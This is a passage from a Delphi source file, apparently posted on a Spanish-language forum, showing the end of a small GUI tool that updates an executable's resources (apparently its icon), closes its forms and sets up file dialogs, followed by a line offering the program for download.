PWideChar ( wideString ( Edit2. Text ) ) ) ;
EndUpdateResourceW( change, false ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Changed !' ;
Form1. StatusBar1 . Update ;
end ;
except
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error' ;
Form1. StatusBar1 . Update ;
end ;
end ;
end ;
procedure TForm1. Button4Click ( Sender: TObject ) ;
begin
Form2. Show ;
end ;
procedure TForm1. Button5Click ( Sender: TObject ) ;
begin
Form1. Close ( ) ;
Form2. Close ( ) ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog2. InitialDir : = GetCurrentDir ;
OpenDialog2. Filter : = 'Icons|*.ico|' ;
end ;
end .
// The End ?
Si quieren bajar el programa lo pueden hacer de
aca .